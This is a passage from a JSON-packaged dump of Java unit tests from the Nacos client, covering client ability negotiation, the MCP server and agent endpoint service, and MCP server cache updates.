ready\n        rpcClient.serverListFactory(new ServerListFactory() {\n            \n            @Override\n            public String genNextServer() {\n                return \"localhost:8848\";\n            }\n            \n            @Override\n            public String getCurrentServer() {\n                return \"localhost:8848\";\n            }\n            \n            @Override\n            public List<String> getServerList() {\n                return null;\n            }\n        });\n        rpcClient.start();\n        // if connect successfully\n        assertEquals(AbilityStatus.SUPPORTED, rpcClient.getConnectionAbility(AbilityKey.SERVER_FUZZY_WATCH));\n        assertEquals(AbilityStatus.NOT_SUPPORTED, rpcClient.getConnectionAbility(AbilityKey.SERVER_DISTRIBUTED_LOCK));\n    }\n    \n    @AfterEach\n    void testServerRequestAbility() {\n        //test support\n        ServerRequestHandler serverRequestHandler = (request, connection) -> {\n            assertEquals(AbilityStatus.SUPPORTED, connection.getConnectionAbility(AbilityKey.SERVER_FUZZY_WATCH));\n            assertEquals(AbilityStatus.NOT_SUPPORTED, connection.getConnectionAbility(AbilityKey.SERVER_DISTRIBUTED_LOCK));\n            return new Response() {\n            };\n        };\n        serverRequestHandler.requestReply(null, connection);\n        \n        // test no ability table\n        serverRequestHandler = (request, connection) -> {\n            assertEquals(AbilityStatus.UNKNOWN, connection.getConnectionAbility(AbilityKey.SERVER_FUZZY_WATCH));\n            return new Response() {\n            };\n        };\n        serverRequestHandler.requestReply(null, new TestConnection(new RpcClient.ServerInfo()));\n    }\n    \n}\n"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/ability/ClientAbilityControlManagerTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ability;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.ability.constant.AbilityMode;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass ClientAbilityControlManagerTest {\n    \n    ClientAbilityControlManager clientAbilityControlManager;\n    \n    @BeforeEach\n    void setUp() {\n        clientAbilityControlManager = new ClientAbilityControlManager();\n    }\n    \n    @Test\n    void testInitCurrentNodeAbilities() {\n        Map<AbilityMode, Map<AbilityKey, Boolean>> actual = clientAbilityControlManager.initCurrentNodeAbilities();\n        assertEquals(1, actual.size());\n        assertTrue(actual.containsKey(AbilityMode.SDK_CLIENT));\n        // Current not define sdk ability.\n        assertEquals(4, actual.get(AbilityMode.SDK_CLIENT).size());\n    }\n    \n    @Test\n    void testGetPriority() {\n        assertEquals(0, clientAbilityControlManager.getPriority());\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/ai/NacosAiServiceTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.ai.listener.AbstractNacosMcpServerListener;\nimport com.alibaba.nacos.api.ai.listener.NacosMcpServerEvent;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentEndpoint;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerBasicInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.registry.ServerVersionDetail;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.client.ai.cache.NacosAgentCardCacheHolder;\nimport com.alibaba.nacos.client.ai.cache.NacosMcpServerCacheHolder;\nimport com.alibaba.nacos.client.ai.event.AiChangeNotifier;\nimport com.alibaba.nacos.client.ai.event.McpServerListenerInvoker;\nimport com.alibaba.nacos.client.ai.remote.AiGrpcClient;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.Mockito;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.lang.reflect.Field;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Collection;\nimport java.util.Properties;\nimport java.util.UUID;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.ArgumentMatchers.isNull;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass NacosAiServiceTest {\n    \n    @Mock\n    private AiGrpcClient grpcClient;\n    \n    @Mock\n    private NacosMcpServerCacheHolder mcpServerCacheHolder;\n    \n    @Mock\n    private NacosAgentCardCacheHolder agentCardCacheHolder;\n    \n    @Mock\n    private AiChangeNotifier aiChangeNotifier;\n    \n    NacosAiService nacosAiService;\n    \n    @BeforeEach\n    void setUp() throws NacosException {\n        Properties properties = new Properties();\n        properties.put(PropertyKeyConst.SERVER_ADDR, \"127.0.0.1\");\n        nacosAiService = new NacosAiService(properties);\n    }\n    \n    @AfterEach\n    void tearDown() throws NacosException {\n        if (null != nacosAiService) {\n            nacosAiService.shutdown();\n        }\n    }\n    \n    @Test\n    void testConstructorWithNamespace() throws NoSuchFieldException, IllegalAccessException, NacosException {\n        Field field = NacosAiService.class.getDeclaredField(\"namespaceId\");\n        field.setAccessible(true);\n        assertEquals(Constants.DEFAULT_NAMESPACE_ID, field.get(nacosAiService));\n        NacosAiService aiService = null;\n        try {\n            Properties properties = new Properties();\n            properties.put(PropertyKeyConst.SERVER_ADDR, \"127.0.0.1\");\n            properties.put(PropertyKeyConst.NAMESPACE, \"test\");\n            aiService = new NacosAiService(properties);\n            assertEquals(\"test\", field.get(aiService));\n        } finally {\n            if (null != aiService) {\n                aiService.shutdown();\n            }\n        }\n    }\n    \n    @Test\n    void getMcpServer() throws NoSuchFieldException, IllegalAccessException, NacosException {\n        injectMocks();\n        when(grpcClient.queryMcpServer(\"testMcpName\", \"1.0.0\")).thenReturn(new McpServerDetailInfo());\n        assertNotNull(nacosAiService.getMcpServer(\"testMcpName\", \"1.0.0\"));\n    }\n    \n    @Test\n    void getMcpServerWithInvalidMcpName() throws NoSuchFieldException, IllegalAccessException, NacosException {\n        assertThrows(NacosApiException.class, () -> nacosAiService.getMcpServer(\"\", \"1.0.0\"));\n    }\n    \n    @Test\n    void releaseMcpServer() throws NacosException, NoSuchFieldException, IllegalAccessException {\n        injectMocks();\n        McpServerBasicInfo serverSpecification = new McpServerBasicInfo();\n        serverSpecification.setName(\"testMcpName\");\n        serverSpecification.setVersionDetail(new ServerVersionDetail());\n        serverSpecification.getVersionDetail().setVersion(\"1.0.0\");\n        String id = UUID.randomUUID().toString();\n        when(grpcClient.releaseMcpServer(serverSpecification, null, null)).thenReturn(id);\n        assertEquals(id, nacosAiService.releaseMcpServer(serverSpecification, null));\n    }\n    \n    @Test\n    void releaseMcpServerWithInvalidParameters() throws NacosException {\n        assertThrows(NacosApiException.class, () -> nacosAiService.releaseMcpServer(null, null));\n        McpServerBasicInfo serverSpecification = new McpServerBasicInfo();\n        assertThrows(NacosApiException.class, () -> nacosAiService.releaseMcpServer(serverSpecification, null));\n        serverSpecification.setName(\"testMcpName\");\n        assertThrows(NacosApiException.class, () -> nacosAiService.releaseMcpServer(serverSpecification, null));\n        serverSpecification.setVersionDetail(new ServerVersionDetail());\n        assertThrows(NacosApiException.class, () -> nacosAiService.releaseMcpServer(serverSpecification, null));\n    }\n    \n    @Test\n    void registerMcpServerEndpoint() throws NoSuchFieldException, IllegalAccessException, NacosException {\n        injectMocks();\n        nacosAiService.registerMcpServerEndpoint(\"testMcpName\", \"1.1.1.1\", 8848, \"1.0.0\");\n        verify(grpcClient).registerMcpServerEndpoint(\"testMcpName\", \"1.1.1.1\", 8848, \"1.0.0\");\n    }\n    \n    @Test\n    void registerMcpServerEndpointWithInvalidParameters() {\n        assertThrows(NacosApiException.class, () -> nacosAiService.registerMcpServerEndpoint(\"\", null, -1, \"1.0.0\"));\n        assertThrows(NacosApiException.class,\n                () -> nacosAiService.registerMcpServerEndpoint(\"testMcpName\", null, -1, \"1.0.0\"));\n        assertThrows(NacosApiException.class,\n                () -> nacosAiService.registerMcpServerEndpoint(\"testMcpName\", \"1.1.1.1\", -1, \"1.0.0\"));\n    }\n    \n    @Test\n    void deregisterMcpServerEndpoint() throws NoSuchFieldException, IllegalAccessException, NacosException {\n        injectMocks();\n        nacosAiService.deregisterMcpServerEndpoint(\"testMcpName\", \"1.1.1.1\", 8848);\n        verify(grpcClient).deregisterMcpServerEndpoint(\"testMcpName\", \"1.1.1.1\", 8848);\n    }\n    \n    @Test\n    void deregisterMcpServerEndpointWithInvalidParameters() {\n        assertThrows(NacosApiException.class, () -> nacosAiService.deregisterMcpServerEndpoint(\"\", null, -1));\n        assertThrows(NacosApiException.class,\n                () -> nacosAiService.deregisterMcpServerEndpoint(\"testMcpName\", null, -1));\n        assertThrows(NacosApiException.class,\n                () -> nacosAiService.deregisterMcpServerEndpoint(\"testMcpName\", \"1.1.1.1\", -1));\n    }\n    \n    @Test\n    void subscribeMcpServer() throws NoSuchFieldException, IllegalAccessException, NacosException {\n        injectMocks();\n        AbstractNacosMcpServerListener listener = Mockito.mock(AbstractNacosMcpServerListener.class);\n        McpServerDetailInfo expected = new McpServerDetailInfo();\n        when(grpcClient.subscribeMcpServer(\"testMcpName\", null)).thenReturn(expected);\n        McpServerDetailInfo actual = nacosAiService.subscribeMcpServer(\"testMcpName\", listener);\n        assertEquals(expected, actual);\n        verify(aiChangeNotifier).registerListener(eq(\"testMcpName\"), isNull(), any(McpServerListenerInvoker.class));\n        verify(listener).onEvent(any(NacosMcpServerEvent.class));\n    }\n    \n    @Test\n    void subscribeMcpServerWithInvalidParameters() {\n        assertThrows(NacosApiException.class, () -> nacosAiService.subscribeMcpServer(\"\", null));\n        assertThrows(NacosApiException.class, () -> nacosAiService.subscribeMcpServer(\"testMcpName\", null));\n    }\n    \n    @Test\n    void unsubscribeMcpServer() throws NoSuchFieldException, IllegalAccessException, NacosException {\n        injectMocks();\n        AbstractNacosMcpServerListener listener = Mockito.mock(AbstractNacosMcpServerListener.class);\n        nacosAiService.unsubscribeMcpServer(\"testMcpName\", listener);\n        verify(aiChangeNotifier).deregisterListener(eq(\"testMcpName\"), isNull(), any(McpServerListenerInvoker.class));\n        verify(grpcClient).unsubscribeMcpServer(\"testMcpName\", null);\n    }\n    \n    @Test\n    void unsubscribeMcpServerWithOtherListener() throws NoSuchFieldException, IllegalAccessException, NacosException {\n        injectMocks();\n        when(aiChangeNotifier.isMcpServerSubscribed(\"testMcpName\", null)).thenReturn(true);\n        AbstractNacosMcpServerListener listener = Mockito.mock(AbstractNacosMcpServerListener.class);\n        nacosAiService.unsubscribeMcpServer(\"testMcpName\", listener);\n        verify(aiChangeNotifier).deregisterListener(eq(\"testMcpName\"), isNull(), any(McpServerListenerInvoker.class));\n        verify(grpcClient, never()).unsubscribeMcpServer(\"testMcpName\", null);\n    }\n    \n    @Test\n    void unsubscribeMcpServerWithNullListener() throws NoSuchFieldException, IllegalAccessException, NacosException {\n        injectMocks();\n        nacosAiService.unsubscribeMcpServer(\"testMcpName\", null);\n        verify(aiChangeNotifier, never()).deregisterListener(eq(\"testMcpName\"), isNull(), any(McpServerListenerInvoker.class));\n        verify(grpcClient, never()).unsubscribeMcpServer(\"testMcpName\", null);\n    }\n    \n    @Test\n    void unsubscribeMcpServerWithInvalidParameters() {\n        assertThrows(NacosApiException.class, () -> nacosAiService.unsubscribeMcpServer(\"\", null));\n    }\n    \n    @Test\n    void registerAgentEndpointWithCollection() throws NoSuchFieldException, IllegalAccessException, NacosException {\n        injectMocks();\n        Collection<AgentEndpoint> endpoints = createTestEndpoints();\n        nacosAiService.registerAgentEndpoint(\"testAgent\", endpoints);\n        verify(grpcClient).registerAgentEndpoints(\"testAgent\", endpoints);\n    }\n    \n    @Test\n    void registerAgentEndpointWithCollectionInvalidAgentName() {\n        Collection<AgentEndpoint> endpoints = createTestEndpoints();\n        assertThrows(NacosApiException.class, () -> nacosAiService.registerAgentEndpoint(\"\", endpoints));\n    }\n    \n    @Test\n    void registerAgentEndpointWithCollectionNullEndpoints() {\n        assertThrows(NacosApiException.class, () -> nacosAiService.registerAgentEndpoint(\"testAgent\", (Collection<AgentEndpoint>) null));\n    }\n    \n    @Test\n    void registerAgentEndpointWithCollectionEmptyEndpoints() {\n        assertThrows(NacosApiException.class, () -> nacosAiService.registerAgentEndpoint(\"testAgent\", new ArrayList<>()));\n    }\n    \n    @Test\n    void registerAgentEndpointWithCollectionNullEndpointInList() {\n        Collection<AgentEndpoint> endpoints = Arrays.asList(new AgentEndpoint(), null);\n        assertThrows(NacosApiException.class, () -> nacosAiService.registerAgentEndpoint(\"testAgent\", endpoints));\n    }\n    \n    @Test\n    void registerAgentEndpointWithCollectionEndpointWithoutVersion() {\n        AgentEndpoint endpoint = new AgentEndpoint();\n        endpoint.setAddress(\"1.1.1.1\");\n        endpoint.setPort(8080);\n        // No version set\n        Collection<AgentEndpoint> endpoints = Arrays.asList(endpoint);\n        assertThrows(NacosApiException.class, () -> nacosAiService.registerAgentEndpoint(\"testAgent\", endpoints));\n    }\n    \n    @Test\n    void registerAgentEndpointWithCollectionDifferentVersions() {\n        AgentEndpoint endpoint1 = new AgentEndpoint();\n        endpoint1.setAddress(\"1.1.1.1\");\n        endpoint1.setPort(8080);\n        endpoint1.setVersion(\"1.0.0\");\n        \n        AgentEndpoint endpoint2 = new AgentEndpoint();\n        endpoint2.setAddress(\"2.2.2.2\");\n        endpoint2.setPort(9090);\n        endpoint2.setVersion(\"2.0.0\");\n        \n        Collection<AgentEndpoint> endpoints = Arrays.asList(endpoint1, endpoint2);\n        assertThrows(NacosApiException.class, () -> nacosAiService.registerAgentEndpoint(\"testAgent\", endpoints));\n    }\n    \n    private void injectMocks() throws NoSuchFieldException, IllegalAccessException {\n        Field field = NacosAiService.class.getDeclaredField(\"grpcClient\");\n        field.setAccessible(true);\n        final AiGrpcClient autoBuildGrpcClient = (AiGrpcClient) field.get(nacosAiService);\n        field.set(nacosAiService, grpcClient);\n        field = NacosAiService.class.getDeclaredField(\"aiClientProxy\");\n        field.setAccessible(true);\n        field.set(nacosAiService, grpcClient);\n        field = NacosAiService.class.getDeclaredField(\"mcpServerCacheHolder\");\n        field.setAccessible(true);\n        NacosMcpServerCacheHolder autoBuildCacheHolder = (NacosMcpServerCacheHolder) field.get(nacosAiService);\n        field.set(nacosAiService, mcpServerCacheHolder);\n        field = NacosAiService.class.getDeclaredField(\"agentCardCacheHolder\");\n        field.setAccessible(true);\n        NacosAgentCardCacheHolder autoBuildAgentCacheHolder = (NacosAgentCardCacheHolder) field.get(nacosAiService);\n        field.set(nacosAiService, agentCardCacheHolder);\n        field = NacosAiService.class.getDeclaredField(\"aiChangeNotifier\");\n        field.setAccessible(true);\n        field.set(nacosAiService, aiChangeNotifier);\n        try {\n            autoBuildGrpcClient.shutdown();\n            autoBuildCacheHolder.shutdown();\n            autoBuildAgentCacheHolder.shutdown();\n        } catch (NacosException ignored) {\n        }\n    }\n    \n    private Collection<AgentEndpoint> createTestEndpoints() {\n        AgentEndpoint endpoint1 = new AgentEndpoint();\n        endpoint1.setAddress(\"1.1.1.1\");\n        endpoint1.setPort(8080);\n        endpoint1.setVersion(\"1.0.0\");\n        \n        AgentEndpoint endpoint2 = new AgentEndpoint();\n        endpoint2.setAddress(\"2.2.2.2\");\n        endpoint2.setPort(9090);\n        endpoint2.setVersion(\"1.0.0\");\n        \n        return Arrays.asList(endpoint1, endpoint2);\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/ai/cache/NacosMcpServerCacheHolderTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.ai.cache;\n\nimport java.util.Properties;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\nimport org.junit.jupiter.api.AfterEach;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.fail;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Disabled;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.registry.Repository;\nimport com.alibaba.nacos.api.ai.model.mcp.registry.ServerVersionDetail;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.ai.event.McpServerChangedEvent;\nimport com.alibaba.nacos.client.ai.remote.AiGrpcClient;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.common.notify.Event;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.notify.listener.Subscriber;\n\n@ExtendWith(MockitoExtension.class)\nclass NacosMcpServerCacheHolderTest {\n    \n    @Mock\n    private AiGrpcClient aiGrpcClient;\n    \n    NacosMcpServerCacheHolder cacheHolder;\n    \n    @BeforeEach\n    void setUp() {\n        Properties properties = new Properties();\n        properties.put(AiConstants.AI_MCP_SERVER_CACHE_UPDATE_INTERVAL, \"100\");\n        cacheHolder = new NacosMcpServerCacheHolder(aiGrpcClient, NacosClientProperties.PROTOTYPE.derive(properties));\n    }\n    \n    @AfterEach\n    void tearDown() throws NacosException {\n        cacheHolder.shutdown();\n        NotifyCenter.deregisterPublisher(McpServerChangedEvent.class);\n    }\n    \n    @Test()\n    void processMcpServerDetailInfo() throws InterruptedException {\n        assertNull(cacheHolder.getMcpServer(\"test\", \"1.0.0\"));\n        MockEventSubscriber subscriber = new MockEventSubscriber();\n        NotifyCenter.registerSubscriber(subscriber);\n        McpServerDetailInfo mcpServerDetailInfo = new McpServerDetailInfo();\n        mcpServerDetailInfo.setName(\"test\");\n        mcpServerDetailInfo.setVersionDetail(new ServerVersionDetail());\n        mcpServerDetailInfo.getVersionDetail().setVersion(\"1.0.0\");\n        mcpServerDetailInfo.getVersionDetail().setIs_latest(true);\n        cacheHolder.processMcpServerDetailInfo(mcpServerDetailInfo);\n        assertNotNull(cacheHolder.getMcpServer(\"test\", \"1.0.0\"));\n        assertEquals(mcpServerDetailInfo, cacheHolder.getMcpServer(\"test\", \"1.0.0\"));\n        int retry = 0;\n        while (retry < 3) {\n            TimeUnit.MILLISECONDS.sleep(500);\n            if (subscriber.invokedMark.get()) {\n                return;\n            }\n            retry++;\n        }\n        fail(\"Subscriber for McpServerChangedEvent don't be invoked.\");\n    }\n    \n    @Test()\n    void processMcpServerDetailInfoLatest() throws InterruptedException {\n        assertNull(cacheHolder.getMcpServer(\"test\", \"1.0.0\"));\n        MockEventSubscriber subscriber = new MockEventSubscriber();\n        NotifyCenter.registerSubscriber(subscriber);\n        McpServerDetailInfo mcpServerDetailInfo = new McpServerDetailInfo();\n        mcpServerDetailInfo.setName(\"test\");\n        mcpServerDetailInfo.setVersionDetail(new ServerVersionDetail());\n        mcpServerDetailInfo.getVersionDetail().setVersion(\"1.0.0\");\n        mcpServerDetailInfo.getVersionDetail().setIs_latest(true);\n        cacheHolder.processMcpServerDetailInfo(mcpServerDetailInfo);\n        assertNotNull(cacheHolder.getMcpServer(\"test\", \"1.0.0\"));\n        assertNotNull(cacheHolder.getMcpServer(\"test\", null));\n        assertEquals(mcpServerDetailInfo, cacheHolder.getMcpServer(\"test\", \"1.0.0\"));\n        int retry = 0;\n        while (retry < 3) {\n            TimeUnit.MILLISECONDS.sleep(500);\n            if (subscriber.invokedMark.get()) {\n                return;\n            }\n            retry++;\n        }\n        fail(\"Subscriber for McpServerChangedEvent don't be invoked.\");\n    }\n    \n    @Test()\n    void processMcpServerDetailInfoDiff() throws InterruptedException {\n        McpServerDetailInfo mcpServerDetailInfo = new McpServerDetailInfo();\n        mcpServerDetailInfo.setName(\"test\");\n        mcpServerDetailInfo.setVersionDetail(new ServerVersionDetail());\n        mcpServerDetailInfo.getVersionDetail().setVersion(\"1.0.0\");\n        mcpServerDetailInfo.getVersionDetail().setIs_latest(true);\n        cacheHolder.processMcpServerDetailInfo(mcpServerDetailInfo);\n        mcpServerDetailInfo = new McpServerDetailInfo();\n        mcpServerDetailInfo.setName(\"test\");\n        mcpServerDetailInfo.setVersionDetail(new ServerVersionDetail());\n        mcpServerDetailInfo.getVersionDetail().setVersion(\"1.0.0\");\n        mcpServerDetailInfo.getVersionDetail().setIs_latest(true);\n        mcpServerDetailInfo.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_STDIO);\n        \n        MockEventSubscriber subscriber = new MockEventSubscriber();\n        NotifyCenter.registerSubscriber(subscriber);\n        cacheHolder.processMcpServerDetailInfo(mcpServerDetailInfo);\n        assertEquals(mcpServerDetailInfo, cacheHolder.getMcpServer(\"test\", \"1.0.0\"));\n        int retry = 0;\n        while (retry < 3) {\n            TimeUnit.MILLISECONDS.sleep(500);\n            if (subscriber.invokedMark.get()) {\n                return;\n            }\n            retry++;\n        }\n        fail(\"Subscriber for McpServerChangedEvent don't be invoked.\");\n    }\n    \n    @Test()\n    void processMcpServerDetailInfoNoDiff() throws InterruptedException {\n        McpServerDetailInfo mcpServerDetailInfo = new McpServerDetailInfo();\n        mcpServerDetailInfo.setName(\"test\");\n        mcpServerDetailInfo.setVersionDetail(new ServerVersionDetail());\n        mcpServerDetailInfo.getVersionDetail().setVersion(\"1.0.0\");\n        mcpServerDetailInfo.getVersionDetail().setIs_latest(true);\n        cacheHolder.processMcpServerDetailInfo(mcpServerDetailInfo);\n        \n        MockEventSubscriber subscriber = new MockEventSubscriber();\n        NotifyCenter.registerSubscriber(subscriber);\n        cacheHolder.processMcpServerDetailInfo(mcpServerDetailInfo);\n        assertEquals(mcpServerDetailInfo, cacheHolder.getMcpServer(\"test\", \"1.0.0\"));\n        int retry = 0;\n        while (retry < 3) {\n            TimeUnit.MILLISECONDS.sleep(500);\n            if (subscriber.invokedMark.get()) {\n                fail(\"Subscriber for McpServerChangedEvent should not be invoked, but invoked.\");\n            }\n            retry++;\n        }\n    }\n    \n    @Test\n    @Disabled\n    void processMcpServerDetailInfoWithException() throws InterruptedException {\n        McpServerDetailInfo mcpServerDetailInfo = new McpServerDetailInfo();\n        mcpServerDetailInfo.setName(\"test\");\n        mcpServerDetailInfo.setVersionDetail(new ServerVersionDetail());\n        mcpServerDetailInfo.getVersionDetail().setVersion(\"1.0.0\");\n        // empty bean Repository will cause json serialize exception\n        mcpServerDetailInfo.setRepository(new Repository());\n        MockEventSubscriber subscriber = new MockEventSubscriber();\n        NotifyCenter.registerSubscriber(subscriber);\n        cacheHolder.processMcpServerDetailInfo(mcpServerDetailInfo);\n        int retry = 0;\n        while (retry < 3) {\n            TimeUnit.MILLISECONDS.sleep(500);\n            if (subscriber.invokedMark.get()) {\n                fail(\"Subscriber for McpServerChangedEvent should not be invoked, but invoked.\");\n            }\n            retry++;\n        }\n    }\n    \n    @Test\n    void addMcpServerUpdateTask() throws NacosException, InterruptedException {\n        assertNull(cacheHolder.getMcpServer(\"test\", \"1.0.0\"));\n        McpServerDetailInfo mcpServerDetailInfo = new McpServerDetailInfo();\n        mcpServerDetailInfo.setName(\"test\");\n        mcpServerDetailInfo.setVersionDetail(new ServerVersionDetail());\n        mcpServerDetailInfo.getVersionDetail().setVersion(\"1.0.0\");\n        when(aiGrpcClient.queryMcpServer(\"test\", \"1.0.0\")).thenReturn(mcpServerDetailInfo);\n        cacheHolder.addMcpServerUpdateTask(\"test\", \"1.0.0\");\n        TimeUnit.MILLISECONDS.sleep(110);\n        assertNotNull(cacheHolder.getMcpServer(\"test\", \"1.0.0\"));\n        TimeUnit.MILLISECONDS.sleep(110);\n        verify(aiGrpcClient, times(2)).queryMcpServer(\"test\", \"1.0.0\");\n    }\n    \n    @Test\n    void runUpdateTaskWithException() throws NacosException, InterruptedException {\n        assertNull(cacheHolder.getMcpServer(\"test\", \"1.0.0\"));\n        McpServerDetailInfo mcpServerDetailInfo = new McpServerDetailInfo();\n        mcpServerDetailInfo.setName(\"test\");\n        mcpServerDetailInfo.setVersionDetail(new ServerVersionDetail());\n        mcpServerDetailInfo.getVersionDetail().setVersion(\"1.0.0\");\n        when(aiGrpcClient.queryMcpServer(\"test\", \"1.0.0\")).thenThrow(new RuntimeException(\"test\"));\n        cacheHolder.addMcpServerUpdateTask(\"test\", \"1.0.0\");\n        TimeUnit.MILLISECONDS.sleep(110);\n        assertNull(cacheHolder.getMcpServer(\"test\", \"1.0.0\"));\n        TimeUnit.MILLISECONDS.sleep(110);\n        verify(aiGrpcClient, times(2)).queryMcpServer(\"test\", \"1.0.0\");\n    }\n    \n    @Test\n    void removeMcpServerUpdateTask() throws NacosException, InterruptedException {\n        assertNull(cacheHolder.getMcpServer(\"test\", \"1.0.0\"));\n        McpServerDetailInfo mcpServerDetailInfo = new McpServerDetailInfo();\n        mcpServerDetailInfo.setName(\"test\");\n        mcpServerDetailInfo.setVersionDetail(new ServerVersionDetail());\n        mcpServerDetailInfo.getVersionDetail().setVersion(\"1.0.0\");\n        when(aiGrpcClient.queryMcpServer(\"test\", \"1.0.0\")).thenReturn(mcpServerDetailInfo);\n        cacheHolder.addMcpServerUpdateTask(\"test\", \"1.0.0\");\n        TimeUnit.MILLISECONDS.sleep(110);\n        assertNotNull(cacheHolder.getMcpServer(\"test\", \"1.0.0\"));\n        cacheHolder.removeMcpServerUpdateTask(\"test\", \"1.0.0\");\n        TimeUnit.MILLISECONDS.sleep(110);\n        verify(aiGrpcClient).queryMcpServer(\"test\", \"1.0.0\");\n    }\n    \n    @Test\n    void removeMcpServerUpdateTaskImmediately() throws NacosException, InterruptedException {\n        assertNull(cacheHolder.getMcpServer(\"test\", \"1.0.0\"));\n        McpServerDetailInfo mcpServerDetailInfo = new McpServerDetailInfo();\n        mcpServerDetailInfo.setName(\"test\");\n        mcpServerDetailInfo.setVersionDetail(new ServerVersionDetail());\n        mcpServerDetailInfo.getVersionDetail().setVersion(\"1.0.0\");\n        cacheHolder.addMcpServerUpdateTask(\"test\", \"1.0.0\");\n        cacheHolder.removeMcpServerUpdateTask(\"test\", \"1.0.0\");\n        TimeUnit.MILLISECONDS.sleep(110);\n        verify(aiGrpcClient, never()).queryMcpServer(\"test\", null);\n    }\n    \n    private static class MockEventSubscriber extends Subscriber<McpServerChangedEvent> {\n        \n        private final AtomicBoolean invokedMark;\n        \n        private MockEventSubscriber() {\n            this.invokedMark = new AtomicBoolean(false);\n        }\n        \n        @Override\n        public void onEvent(McpServerChangedEvent event) {\n            invokedMark.set(true);\n        }\n        \n        @Override\n        public Class<? extends Event> subscribeType() {\n            return McpServerChangedEvent.class;\n        }\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/ai/cache/NacosPromptCacheHolderTest.java",
